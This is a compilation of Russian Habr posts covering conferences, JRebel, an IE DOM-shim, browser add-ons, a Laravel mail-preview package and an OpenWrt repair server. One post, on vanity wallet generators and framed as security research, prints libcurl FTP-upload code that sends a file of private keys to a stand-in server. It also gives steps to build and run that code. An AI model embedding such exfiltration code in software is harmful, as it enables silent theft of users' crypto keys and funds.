**[PGDay Israel 2022](https://pgday.org.il/)**
Состоится 20-го октября. [Заявки](https://www.postgresql.org/about/news/pgday-israel-2022-call-for-papers-is-now-open-2445/) принимаются.
**[Percona Live 2022](https://www.percona.com/live/conferences/2022-schedule)** состоится 16-18-го мая в Остине, Техас.
Среди докладов, например:
Managing PostgreSQL With Ansible — *Андреас Шербаум* (Andreas Scherbaum, Adjust GmbH).
**[PGConf.EU 2022](https://2022.pgconf.eu/call-for-papers/)** состоится 25-28-го октября в Берлине.
---
*До встречи через месяц, коллеги.*
--- | https://habr.com/ru/post/662820/ | null | ru | null |
# Вышел JRebel 3.6.2
На этой неделе компания [Zeroturnaround](http://www.zeroturnaround.com/) выпустила версию [JRebel 3.6.2](http://www.zeroturnaround.com/blog/jrebel-3-6-2-released/)! Скачать её можно **[здесь](http://www.zeroturnaround.com/jrebel/current).**
Вот некоторые из самых интересных новых возможностей:
* **[Hibernate Validator](http://www.hibernate.org/subprojects/validator.html)**
Теперь можно добавлять / редактировать / удалять аннотации Bean Validation в бинах, а также в родительских бинах (т.е. поддерживается композитная валидация). А также можно создавать и редактировать свои аннотации.
Очень многие пользователи [просили эту функциональность](http://twitter.com/#%21/loganj/status/44782934443569152), так что теперь они должны быть счастливы.
* **Улучшения JBoss Seam 2.x** То, чего очень долго [ждали](http://www.zeroturnaround.com/forum/) некоторые пользователи – добавление новых компонентов в файл `components.xml`.
* **Поддержка EJB** для JBoss 4.2/5.1 и Glassfish 3.x. Теперь вы можете добавлять новые `@Stateful`/`@Stateless` бины в приложение и сразу начинать использовать из других работающих бинов.
* **Улучшения интеграции с отладчиком**. Теперь JRebel лучше обрабатывает некоторые сложные случаи, чтобы сделать работу с отладчиком как можно более гладкой.
Полный список изменений в версии 3.6.2 по сравнению с 3.6.1 можно найти [здесь](http://www.zeroturnaround.com/jrebel/3-x-changelog/).
Анонс на английском [тут](http://www.zeroturnaround.com/blog/jrebel-3-6-2-released/). | https://habr.com/ru/post/117958/ | null | ru | null |
# Coingecko & Agent Ftpupload создаем красивые адреса криптокошелька, но помним о сохранности приватного ключа
В криптосообществе за многие годы образовался целый культ по созданию красивых адресов для криптокошельков. Каждый желающий может сгенерировать для себя «красивый» адрес, который будет не только уникальным, но и будет иметь в себе определенное сочетание букв и цифр. Это очень увлекательный и интересный процесс, но нельзя полностью исключать риск, связанный с привлечением третьей стороны и перехватом приватного ключа к криптокошельку. Все мы когда-либо слышали о независимых агрегаторах `CoinMarketCap` и `CoinGecko` это самые популярные площадки для отслеживая цен на бирже, но в этой статье мы не будем рассматривать механизмы и функции этих площадок. Речь пойдет о скрытых кодах в `vanitygen` + `oclvanitygen` и стремительное распространение их на популярных площадках.
### Это исследовательский проект создан в целях информационной безопасности.
Многим пользователям не устраивают стандартные рандомные адреса криптокошелька и именно по этой причине они используют различные *программы, утилиты и плагины* для создание красивых криптовалютных адресов.
> Согласно порталу [**TAdviser**](https://www.tadviser.ru/index.php/%D0%A1%D1%82%D0%B0%D1%82%D1%8C%D1%8F:%D0%9C%D0%BE%D1%88%D0%B5%D0%BD%D0%BD%D0%B8%D1%87%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D1%81_%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B2%D0%B0%D0%BB%D1%8E%D1%82%D0%BE%D0%B9) жертвами все чаще становятся из-за использование не проверенное программное обеспечение.
>
>
`Coingecko-VanityGen` - это утилита, работающая через командную строку, которая способна генерировать криптовалютные адреса по заданным первоначальным параметрам.
Исходный код "Coingecko-VanityGen" для создания персонализированных адресов.Подбор утилиты основан на вероятностном поиске, на который требуется некоторое время.
Время зависит от сложности заданного шаблона, скорости компьютера и удачливости. Для повышение скорости генерации криптовалютных адресов существует `oclvanitygen` – который использует `OpenCL`совместимые `GPU`
Во многих наших исследованиях мы используем `Google Colab` и для собственного ознакомления мы сделаем разбор для файлов [**Coingecko-VanityGen**](https://github.com/demining/CryptoDeepTools/blob/main/12CoingeckoAgentFtpupload/Coingecko_VanityGen.ipynb) в репозитории [**12CoingeckoAgentFtpupload**](https://github.com/demining/CryptoDeepTools/tree/main/12CoingeckoAgentFtpupload)
[**Coingecko-VanityGen**](https://github.com/demining/CryptoDeepTools/blob/main/12CoingeckoAgentFtpupload/Coingecko_VanityGen.ipynb) работает при помощи поддержки среды выполнения *графического процессора* `(Google Colab)` и по собственным параметрам генерирует красивые адреса криптокошельков для полного списка агрегатора `Coingecko`.
Как сохранить приватные ключи?
------------------------------
#### Чтобы понять и разобраться мы перейдем к экспериментальной части:
Откроем [**[TerminalGoogleColab]**](https://github.com/demining/TerminalGoogleColab).
Воспользуемся репозиторием [**«12CoingeckoAgentFtpupload»**](https://github.com/demining/CryptoDeepTools/tree/main/12CoingeckoAgentFtpupload).
```
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/12CoingeckoAgentFtpupload/
ls
```
#### Обновим и установим g++ libgmp3-dev libmpfr-dev
```
apt-get update
sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y
```
### Сборка:
```
make
```
Запустим команду: `ls` и мы видим что `coingeckogen` создан успешно!
---
Запустим LIST и проверим все существующие криптовалюты из агрегатора CoinGecko
------------------------------------------------------------------------------
```
./coingeckogen -C LIST
```
---
Запустим "coingeckogen" и сгенерируем Биткоин Адрес с префиксом "1DEEP":
------------------------------------------------------------------------
```
./coingeckogen 1DEEP
```
```
Pattern: 1DEEP
Address: 1DEEPQxozZXeUmuVZxKb7JjHq28DhX99AG
Privkey: 5JdG1jvsDgHrS8E8NpRLabzrA1tCbR6ePp9zvv1q1dV6efpSqMH
crypto >
```
Откроем [bitaddress](https://cryptodeep.ru/bitaddress.html) и проверим:
bitaddress
---
Почему скомпилированные программы могут раскрыть приватные ключи?
-----------------------------------------------------------------
www.securitylab.ru/news/531888.phpВы можете ознакомится статьей в информационном портале [**SecurityLab**](https://www.securitylab.ru/news/531888.php)
### В исходный код программы может быть вшит секретный код:
Обратите внимание на код [**ftpupload.c**](https://curl.se/libcurl/c/ftpupload.html)
> [**cURL**](https://linuxcookbook.ru/articles/komanda-curl-linux#:~:text=%D0%9A%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0%20curl%20%D0%B2%20Linux&text=%D0%9A%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0%20curl%20%D0%BF%D1%80%D0%B5%D0%B4%D0%BD%D0%B0%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B0%20%D0%B4%D0%BB%D1%8F%20%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B8,%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%BE%D0%B2%20%D0%B8%20%D0%B5%D1%91%20%D0%B2%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8%20%D0%BE%D0%B3%D1%80%D0%BE%D0%BC%D0%BD%D1%8B.) — кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом `URL`.
>
>
Этот код может отправить приватные ключи в `FTP - сервер` *злоумышленника*
```
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 1998 - 2022, Daniel Stenberg, , et al.
\*
\* This software is licensed as described in the file COPYING, which
\* you should have received as part of this distribution. The terms
\* are also available at https://curl.se/docs/copyright.html.
\*
\* You may opt to use, copy, modify, merge, publish, distribute and/or sell
\* copies of the Software, and permit persons to whom the Software is
\* furnished to do so, under the terms of the COPYING file.
\*
\* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
\* KIND, either express or implied.
\*
\* SPDX-License-Identifier: curl
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#include
#include
#include
#include
#include
#include
#include
#ifdef WIN32
#include
#else
#include
#endif
/\*
\* Performs an FTP upload and renames the file just after a successful
\* transfer.
\*
\*/
#define LOCAL\_FILE "/tmp/Result.txt"
#define UPLOAD\_FILE\_AS "Result.txt"
#define REMOTE\_URL "ftp://example.com/" UPLOAD\_FILE\_AS
#define RENAME\_FILE\_TO "private-key-delivered.txt"
/\* NOTE: if you want this example to work on Windows with libcurl as a
DLL, you MUST also provide a read callback with CURLOPT\_READFUNCTION.
Failing to do so will give you a crash since a DLL may not use the
variable's memory when passed in to it from an app like this. \*/
static size\_t read\_callback(char \*ptr, size\_t size, size\_t nmemb, void \*stream)
{
unsigned long nread;
/\* in real-world cases, this would probably get this data differently
as this fread() stuff is exactly what the library already would do
by default internally \*/
size\_t retcode = fread(ptr, size, nmemb, stream);
if(retcode > 0) {
nread = (unsigned long)retcode;
fprintf(stderr, "\*\*\* We read %lu bytes from file\n", nread);
}
return retcode;
}
int main(void)
{
CURL \*curl;
CURLcode res;
FILE \*hd\_src;
struct stat file\_info;
unsigned long fsize;
struct curl\_slist \*headerlist = NULL;
static const char buf\_1 [] = "RNFR " UPLOAD\_FILE\_AS;
static const char buf\_2 [] = "RNTO " RENAME\_FILE\_TO;
/\* get the file size of the local file \*/
if(stat(LOCAL\_FILE, &file\_info)) {
printf("Couldn't open '%s': %s\n", LOCAL\_FILE, strerror(errno));
return 1;
}
fsize = (unsigned long)file\_info.st\_size;
printf("Local file size: %lu bytes.\n", fsize);
/\* get a FILE \* of the same file \*/
hd\_src = fopen(LOCAL\_FILE, "rb");
/\* In windows, this will init the winsock stuff \*/
curl\_global\_init(CURL\_GLOBAL\_ALL);
/\* get a curl handle \*/
curl = curl\_easy\_init();
if(curl) {
/\* build a list of commands to pass to libcurl \*/
headerlist = curl\_slist\_append(headerlist, buf\_1);
headerlist = curl\_slist\_append(headerlist, buf\_2);
/\* we want to use our own read function \*/
curl\_easy\_setopt(curl, CURLOPT\_READFUNCTION, read\_callback);
/\* enable uploading \*/
curl\_easy\_setopt(curl, CURLOPT\_UPLOAD, 1L);
/\* specify target \*/
curl\_easy\_setopt(curl, CURLOPT\_URL, REMOTE\_URL);
/\* pass in that last of FTP commands to run after the transfer \*/
curl\_easy\_setopt(curl, CURLOPT\_POSTQUOTE, headerlist);
/\* now specify which file to upload \*/
curl\_easy\_setopt(curl, CURLOPT\_READDATA, hd\_src);
/\* Set the size of the file to upload (optional). If you give a \*\_LARGE
option you MUST make sure that the type of the passed-in argument is a
curl\_off\_t. If you use CURLOPT\_INFILESIZE (without \_LARGE) you must
make sure that to pass in a type 'long' argument. \*/
curl\_easy\_setopt(curl, CURLOPT\_INFILESIZE\_LARGE,
(curl\_off\_t)fsize);
/\* Now run off and do what you have been told! \*/
res = curl\_easy\_perform(curl);
/\* Check for errors \*/
if(res != CURLE\_OK)
fprintf(stderr, "curl\_easy\_perform() failed: %s\n",
curl\_easy\_strerror(res));
/\* clean up the FTP commands list \*/
curl\_slist\_free\_all(headerlist);
/\* always cleanup \*/
curl\_easy\_cleanup(curl);
}
fclose(hd\_src); /\* close the local file \*/
curl\_global\_cleanup();
return 0;
}
```
> **Для теста загрузим файл** [**ftpupload.c**](https://curl.se/libcurl/c/ftpupload.html) **в каталог** [**«12CoingeckoAgentFtpupload»**](https://github.com/demining/CryptoDeepTools/tree/main/12CoingeckoAgentFtpupload)
>
>
Скомпилируем Agent Ftpupload:
-----------------------------
```
gcc -o agentftpupload ftpupload.c -lcurl
```
Права доступа:
--------------
```
chmod +x agentftpupload
```
```
./agentftpupload
```
---
### Процесс перехвата приватного ключа:
> Как мы говорили выше чтобы понять как происходит перехват приватного ключа запустим пошагово все команды из [*исходного кода*](https://github.com/demining/CryptoDeepTools/tree/main/12CoingeckoAgentFtpupload). Для этого мы создадим тестовый сервер с каталогом «cryptodeeptech»:
>
>
Процесс перехвата приватного ключаКак мы видим из демонстрационного примера в тестовый сервер был загружен файл: private-key-delivered.txt
--------------------------------------------------------------------------------------------------------
> `private-key-delivered.txt` - это файл где содержится приватные ключи пользователя программного обеспечение.
>
>
*Весь процесс происходит скрыто от пользователя*.
Мы настоятельно рекомендуем:
----------------------------
* использовать только проверенное ПО;
* ознакомиться с исходным кодом;
* делать сборку самостоятельно;
* делать обновление;
Данный видеоматериал создан для портала [**CRYPTO DEEP TECH**](https://cryptodeep.ru/) для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых `secp256k1` против слабых подписей `ECDSA` в криптовалюте `BITCOIN`
[**Исходный код**](https://github.com/demining/CryptoDeepTools/tree/main/12CoingeckoAgentFtpupload)
[**Telegram**](https://t.me/cryptodeeptech)**:**[**https://t.me/cryptodeeptech**](https://t.me/cryptodeeptech)
[**Видеоматериал: https://youtu.be/sB91EE-1mJo**](https://youtu.be/sB91EE-1mJo)
[**Источник: https://cryptodeep.ru/coingecko-agent-ftpupload**](https://cryptodeep.ru/coingecko-agent-ftpupload)
--- | https://habr.com/ru/post/687630/ | null | ru | null |
# DOM-shim для всех браузеров включая IE < 8
Доброе время суток уважаемые хабражители.
Многие javascript-программисты сталкивались с не поддерживанием некоторых функций DOM JS API в некоторых браузерах (не будем показывать пальцем). Наверняка, многие знакомы с замечательными библиотеками [es5-shim](https://github.com/kriskowal/es5-shim) и [DOM-shim](https://github.com/Raynos/DOM-shim) для решения проблем совместимости между разными браузерами, а [DOM-shim](https://github.com/Raynos/DOM-shim) к тому же, «подтягивает» браузер до уровня DOM4.
В данной же статье я расскажу, как сделать DOM-shim в IE6 и IE7, чтобы навсегда забыть о существовании этих браузеров.
#### Проблемма
Тут и рассказывать нечего. IE ранее 9й версии не поддерживает очень много из стандартного DOM API:
* addEventListener
* removeEventListener
* dispachEvent
* classList
* и т.д.
И если IE8 можно «подтянуть» имплементировав необходимый функционал с помощью [DOM-shim](https://github.com/Raynos/DOM-shim), то IE6 и IE7, к сожалению, не поддерживаются этой библиотекой (на 24.11.2011 [issues/29](https://github.com/Raynos/DOM-shim/issues/29)) из-за того, что в IE < 8 нету Node.prototype.
#### Решение
Собственно, решение достаточно очевидное и я использовал его в своих проектах еще год назад, когда только начал изучать javascript — behavior: url(.htc) [[Introduction to DHTML Behaviors](http://msdn.microsoft.com/en-us/library/ms531079(v=vs.85).aspx)]. Но тогда мне пришлось отказаться от этого решения, потому что, это очень-очень сильно тормозило загрузку страницы — секунд 30 приходилось ждать, уже после того, как страница загрузилась для относительно небольшой страницы.
Спустя какое-то время, случайно наткнулся на информацию о том, как ускорить раз в 100 загрузку страниц с использованием behavior — оказывается нужно просто добавить [lightweight=true](http://msdn.microsoft.com/en-us/library/ms531426(v=vs.85).aspx#LightweightHTCs) и всё будет работать достаточно быстро.
Теперь сделать DOM-shim для IE < 8 не составит никакого труда, что я и сделал.
#### Приступим
Для начала нам понадобятся оригинальные [es5-shim](https://github.com/kriskowal/es5-shim) и [DOM-shim](https://github.com/Raynos/DOM-shim), берём их и переделываем, [исправляем баги](https://github.com/Raynos/DOM-shim/pull/32) и улучшаем эмуляцию **Object.defineProperty**:
```
<...>
if (!object.__defineGetter__) {
if(descriptor["ielt8"]) {
object["get" + property] = descriptor["get"];
object["set" + property] = descriptor["set"];
}
else throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
<...>
```
Вместо того, чтобы просто выбрасывать исключение **ERR\_ACCESSORS\_NOT\_SUPPORTED** мы проверим на наличие специального флага и если он есть, сохраним геттер и сеттер под специальными именами.
Т.к. в IE < 8 нету Node.prototype (который и передаётся в Object.defineProperty), создадим специальный объект, в который будет аккумулировать наши геттеры и сеттеры:
```
var elementProto = window.HTMLElement && window.HTMLElement.prototype ||
/*ie8*/window.Element && window.Element.prototype ||
/*ielt8*/(window["_ielt8_Element_proto"] = {});
```
Передавать мы его будем как обычно, только добавим в *description* флаг «ielt8»:
```
Object.defineProperty(elementProto, "classList", {"get" : ..., "ielt8" : true}
```
Теперь мы собираем все геттеры нашей shim-библиотеки в один объект. Остаётся только «навесить» его на все элементы на странице.
Создадим dom-shim.ielt8.htc файл:
```
getClassList = window.\_ielt8\_Element\_proto.getclassList
```
и добавим его ко всем элементам на странице:
```
* {
behavior: url(dom-shim.ielt8.htc)
}
```
И собственно всё. Теперь у нас есть Node.classList даже в IE6!
Аналогично добавляются следующие свойства:
* addEventListener
* removeEventListener
* dispatchEvent
* attributes (исправлено)
* children (исправлено)
* firstElementChild
* lastElementChild
* nextElementSibling
* previousElementSibling
* childElementCount
* querySelectorAll
* querySelector
* insertAfter (нестандартная)
* getElementsByClassName
* compareDocumentPosition
* DOCUMENT\_POSITION\_DISCONNECTED
* DOCUMENT\_POSITION\_PRECEDING
* DOCUMENT\_POSITION\_FOLLOWING
* DOCUMENT\_POSITION\_CONTAINS
* DOCUMENT\_POSITION\_CONTAINED\_BY
##### Мелочи
1. Я исправляю attributes, для этого оригинальный attributes сохраняю в специальный контейнер в начале htc скрипта:
```
if(!this._)this._={};
//Save original attributes property
this._.__ielt8_attributes__=this.attributes;
```
Так вот, в IE6 реализация behavior отличается от IE7: в IE7 в скрипте доступны оригинальные переопределяемые в свойства, а в IE6 недоступны — сразу вызывается геттер getAttributes.
Поэтому для IE6 делаем отдельный файл.
2. Нельзя навешивать behavior на все элементы ("\*") т.к. в IE < 8 он навешивается на какой-то не поддерживаемый элемент и происходит ошибка. Для исправления, просто нужно указать все html теги в style:
```
html,body,div,span,object,iframe,h1,<...все html теги...>,textarea,input,select {
behavior: url(dom-shim.ielt8.htc)
}
```
#### Итого
Ссылка на библиотеку: [github.com/termi/ES5-DOM-SHIM](https://github.com/termi/ES5-DOM-SHIM)
Хочу заметить, что моя библиотека для DOM-shim сильно отличается от [DOM-shim](https://github.com/Raynos/DOM-shim/) в силу того, что я разрабатывал её последние 8 месяцев ничего не зная про [DOM-shim](https://github.com/Raynos/DOM-shim/) (и даже про github :))
Рабочий пример можно скачать тут: [github.com/termi/Microdata-JS](https://github.com/termi/Microdata-JS/) (качаем, заходим в examples/microdataTemplater, открываем templaterTest.html)
Предложение добавить то, что получилось в [DOM-shim](https://github.com/Raynos/DOM-shim/): [github.com/Raynos/DOM-shim/issues/29](https://github.com/Raynos/DOM-shim/issues/29)
update 27.11.2011:
#### Ограничения
.htc-файлы должны находится на том же домене, что и .html-файл. Например для файла example.org/index.html, .htc-файл должен находится на example.org, а для файла test.example.org/index.html на test.example.org. Это ограничение существенно усложняет использование библиотеки — нельзя просто выложить .htc-файл на статик-сервер и забыть о нём. Обязательно нужно убедится в наличии всех нужных .htc-файлов на тот же домен, где и сайт.
[Same-domain limitation](http://css3pie.com/documentation/known-issues/#x-domain)
update 19.12.2011:
[Решение Same-domain limitation через nginx proxy](https://github.com/termi/ES5-DOM-SHIM/blob/master/extra/SameDomainLimitation.SOLVE_RUS.odt?raw=true) | https://habr.com/ru/post/133328/ | null | ru | null |
# Пара слов о разработке и публикации add-ons для FireFox и Chrome
На днях мне обломился инвайт на лепру. В связи с чем появилось желание поэкспериментировать с плагинами для отображения картинок из комментариев к посту. Дальше о лепре ни слова, просто несколько тезисов о написании и публикации простого или чуть более чем простого адд-она для FireFox и Chrome. Ну и в конце — ссылки на поделки.
#### Контекст
JS-код, обрабатываемый на веб-странице, и JS-код адд-она обрабатываются в разных контекстах. Вы не сможете вызывать из своего адд-она функции сприптов, внедренные в веб-страницу и наоборот. Приведу два примера:
* Вы реализовали некоторую js-функцию в адд-оне (пускай, отображение превью картинок с открытой старницы). Для включения превью вы адд-оном внедряете в код страницы ссылку и пишете в событии `onclick` этой ссылки вызов вашей js-функции. Но такой код работать не будет — клик на ссылке будет обрабатываться в контексте страницы, где функции адд-она не видны.
* Для манипуляции с DOM удобно использовать один из js-фреймворков. Но даже если данный фреймворк всключен в веб-страницу, которую обрабатывает ваш адд-он — вы не сможете его использовать.
#### Использование внешних js-фреймворков
Для того, чтобы использоваться в своем адд-оне js-фреймворк, его нужно вставить непосредственно в адд-он. Для FireFox это делается следующим образом. Сначала копируете файл фреймворка (в моем случае — jquery.js) в «content» директорию вашего адд-она, а затем используете код динамической загрузки внешнего скрипта:
`Components.classes["@mozilla.org/moz/jssubscript-loader;1"].
getService(Components.interfaces.mozIJSSubScriptLoader).
loadSubScript("chrome://leprokartinki/content/jquery.js");`
В моем случае этот код помещен в обработчик `window.addEventListener("load",...)`
В chrome все немного проще. Помещаете файл (в моем случае — jquery.js) в папку адд-она и затем просто указываете его в manifest.json вместе с остальными используемыми js-файлами.
После этих манипуляций в адд-оне возможно использование функционала фреймворка
У меня не получилось использовать в адд-оне jQuery-функцию клонирования объектов `clone()`. В последствии я обошелся без клонирования. Как ведет себя эта функция в chrome я не проверял. Есть предположения о причинах ошибки, но я не копался.
#### Официальная публикация адд-онов
FireFox позволяет свободно публиковать свои поделки в [галерею](https://addons.mozilla.org) и со временем присваивает адд-онам статусы («Не проверено», «Предварительно проверено», «Проверено»). Между изменениями статусов проходит от нескольких дней до нескольких недель. Статус адд-она влияет на его вхождение в выборки и рейтинги.
А вот chrome для возможности официальной публикации в своем [магазине](https://chrome.google.com/webstore) требует платы за регистрацию разработчика (5$). Только после этого ваш адд-он будет доступен для свободной загрузки и установки.
#### Талмуды для тех, кто хочет попробовать
1. [Создание расширения для FireFox](https://developer.mozilla.org/ru/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F)
2. [Getstarted для Crome](http://code.google.com/chrome/extensions/getstarted.html)
**PS:** Две свои поделки — плагины для просмотра всех картинок поста лепры — я выложил [здесь (FireFox)](http://goo.gl/7PDJ6) и [здесь (Chrome)](https://chrome.google.com/webstore/detail/nioebadphplabjbniakogbcmhaplehme).
**UPD:** Еще одна [поделка](http://ktozvonit.com.ua/info/firefoxaddon) для FireFox — заменяет номера телефонов a-ля Skype, найденные на веб-странице, на ссылки на [телефонный справочник](http://ktozvonit.com.ua/) с информацией об этих номерах. | https://habr.com/ru/post/119343/ | null | ru | null |
# Предварительный просмотр отправляемого email из Laravel
Как написал Саид в своем канале Твиттера:
> My new package for [@laravelphp](https://twitter.com/laravelphp)
> Converts your sent mail to .html files to check while on dev<https://t.co/2Wp73mL7yI> [pic.twitter.com/Fu12PwfXrX](https://t.co/Fu12PwfXrX)
>
> — Mohamed Said (@themsaid) [13 марта 2016 г.](https://twitter.com/themsaid/status/709140491133177859)
«Мой новый пакет для [@laravelphp](https://laravel.com) конвертирует отправляемые Вами письма в .html для проверки корректности на стадии разработки.»
Этот пакет представляет новый драйвер для предварительного просмотра почты в Laravel. При необходимости, он будет производить вывод отправленных сообщений электронной почты, сохранив его как HTML-документ, позволяя проверять его внешний вид.
Установка
---------
Для установки пакета выполните команду при помощи Composer:
```
composer require themsaid/laravel-mail-preview
```
После того, как Composer закончит добавление пакета, добавьте сервис-провайдер в соответствующий раздел файла `config/app.php`:
```
'providers' => [
//...
Themsaid\MailPreview\MailPreviewServiceProvider::class
];
```
И, наконец, опубликуйте конфигурационный файл:
```
php artisan vendor:publish
```
Единственное, что Вам нужно будет сделать — это изменить значение переменной **MAIL\_DRIVER** в файле `.env` на `**preview**`
Как это работает
----------------
При отправке каждого email, оное будет преобразовано в файл HTML-формата, сохраняясь в папке '**storage/email-previews**' с названием файла, содержащим email-адрес получателя и заголовок:
```
1457904864_jack_at_gmail_com_invoice_000234.html
```
При открытии файла в веб-браузере, Вы сможете увидеть как будет выглядеть отправленное Вами письмо. Следует учесть, что возможны некоторые визуальные отличия письма при просмотре пользователями сообщения в том или ином почтовом клиенте.
В начале сгенерированного файла Вы найдете HTML-комментарий со всеми деталями сообщения:
```
```
Конфигурация пакета
-------------------
В конфигурационном файле можно изменить путь для сохранения генерируемых файлов, а также максимальное время жизни для таких файлов. По истечении срока жизни сгенерированные файлы будут удалены.
### Примечание от переводчика
На мой взгляд это действительно нужный пакет для разработчика, так как довольно часто приходится отправлять самому себе тестовые email-сообщения для проверки корректности его отображения. Пакет, разработанный Саидом, действительно упрощает задачу верстки email-сообщений.
**UPD: репозиторий находится [здесь](https://github.com/themsaid/laravel-mail-preview)** | https://habr.com/ru/post/279171/ | null | ru | null |
# Как сделать портативный ремонтный сервер
Портативный ремонтный сервер представляет собой домашний маршрутизатор для загрузки компьютеров по сети с целью ремонта, восстановления, проверки и лечения. Перед загрузочной флешкой данный сервер обладает следующими преимуществами:
* воткнул в сеть и не надо на каждом системнике искать неразболтанный USB-разъем;
* не рискуешь сжечь флешку на закороченных контактах;
* единственный способ загрузиться на компьютерах, где сожжен USB-контроллер (загрузка с CD-ROM в расчет не берется), а также на компьютерах, где BIOS не позволяет грузиться с USB-устройств;
* желательный способ для перепрошивки микропрограмм.
Из недостатков можно отметить более низкую скорость передачи и некоторую сложность по изменению (дополнению) пунктов загрузки, которая сказывается в особенностях сетевой загрузки. В качестве бонуса можно дооснастить ремонтный сервер собственным выходом в интернет через USB-модем, это потребуется для изоляции зараженного вирусами компьютера от других компьютеров в локальной сети. Таким образом, нам потребуется маршрутизатор:
1. с возможностью перепрошивки [OpenWrt](http://wiki.openwrt.org/ru/start);
2. с USB-разъемом;
3. компактными размерами.
Последний пункт позволяет легко перенести ремонтный сервер туда, где нам удобнее с ним работать, а не там, где есть сеть и т.д. Как мы уже говорили, в качестве бонуса потребуется USB-концентратор, USB-флешка и USB-модем с работающей симкой. Выбор модема, как ни странно, задача сложная, так нет стопроцентной уверенности в соответствии с пунктом № 1, поэтому не рекламы ради, посоветую TP-Link TL-MR3020 (только не берите очень похожие модели TP-Link TL-WR700N и TP-Link TL-WR702N) или более дорогую модель TP-Link TL-MR3040 со встроенным аккумулятором. Перед покупкой обратите внимание на версию устройства, поддерживаемые версии можно узнать [здесь](http://wiki.openwrt.org/toh/start).
Не буду подменять официальную документацию OpenWrt, поэтому перейдите на страницу, купленного вами устройства, и прочитайте порядок установки OpenWrt, как правило достаточно загрузить прошивку вашей модели, и через веб-интерфейс обновить (установить) скачанный файл. Возможно, после перепрошивки и последующей перезагрузки маршрутизатора, будет отсутствовать веб-интерфейс, паниковать не стоит, скачиваем [Putty](http://putty.org.ru/) и работаем через консоль. Одно очень важное замечание — перед дальнейшей работой настройте доступ в интернет. Сначала мы перенесем систему на флешку (extroot), а потом будем устанавливать все, необходимые нам для работы, пакеты.
Процесс переноса хорошо описан в [документации](http://wiki.openwrt.org/ru/doc/howto/extroot#%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%8F_openwrt_barrier_breaker_trunk) и на хабре есть [статья на эту тему](http://habrahabr.ru/post/191990/). От себя могу порекомендовать следующее:
* использовать вариант /overlay;
* использовать файловую систему ext2 (opkg install kmod-fs-ext4);
* иметь в виду, что в статье подразумевается использование уже размеченной флешки.
Если у вас нет возможности заранее разметить флешку на разделы (подкачка не более 128Мб, остальное под корневой раздел), то вам потребуется установить следующие пакеты: fdisk, e2fsprogs и swap-utils, в [статье](http://habrahabr.ru/sandbox/46074/) описано как это сделать. А мы пойдем дальше — теперь можно устанавливать все пакеты, которые вы пожелаете. Если вам нужен веб-интерфейс, то вам [сюда](http://wiki.openwrt.org/ru/doc/howto/luci.essentials), а мы займемся настройкой Samba-сервера, чтобы было удобно заливать файлы на сервер, используя стандартную службу доступа к файлам и принтерам Microsoft. Сначала откроем нужные порты в межсетевом экране, если правило по умолчанию для доступа через сеть установлено в состояние «Отбрасывать». Для этого в файле /etc/config/firewall должен быть следующий участок:
```
config 'rule'
option 'src' 'lan'
option 'proto' 'udp'
option 'dest_port' '137-138'
option 'target' 'ACCEPT'
config 'rule'
option 'src' 'lan'
option 'proto' 'tcp'
option 'dest_port' '139'
option 'target' 'ACCEPT'
config 'rule'
option 'src' 'lan'
option 'proto' 'tcp'
option 'dest_port' '445'
option 'target' 'ACCEPT'
```
Более подробную информацию по настройке межсетевого экрана смотрите [здесь](http://wiki.openwrt.org/ru/doc/uci/firewall). Далее посмотрим какая доступная версия samba имеется в репозитории:
`opkg list | grep samba`
Установим пакет, имя которого только что получили. Более детальная информация по работе с пакетами — [здесь](http://wiki.openwrt.org/doc/techref/opkg). Если хотите управлять Samba-сервером через веб-интерфейс, установите соответствующий модуль:
`opkg install luci-app-samba`
Следует дать некоторые пояснения. Во-первых, вместо доступа на уровне пользователей лучше перейти на уровень ресурсов, что приблизительно соответствует простому общему доступу к файлам в Windows XP. Во-вторых, файл конфигурации создается каждый раз во время загрузки маршрутизатора, поэтому лучше отредактировать шаблон `/etc/samba/smb.conf.template`. В нашем случае надо заменить значение user параметра security на значение share. Рассмотрим пример, в котором существует каталог `/mnt/pxeboot` (да, согласен, папка /mnt используется для монтирования устройств, разделов и т.д., но в openwrt — это наилучший каталог для сетевого ресурса), если такого каталога нет, то создайте его командой:
`mkdir -p /mnt/pxeboot`
С целью соблюдения мер безопасности, гостевой доступ происходит от имени пользователя nobody, поэтому нам надо владельцем папки pxeboot сделать пользователя nobody:
`chown nobody /mnt/pxeboot`
Вот теперь прописываем секцию sambashare в файле `etc/config/samba`:
```
...
config 'sambashare'
option 'read_only' 'no'
option 'name' 'share'
option 'path' '/mnt/pxeboot'
option 'guest_ok' 'yes'
```
Включаем и запускаем службу командами:
```
/etc/init.d/samba enable
/etc/init.d/samba start
```
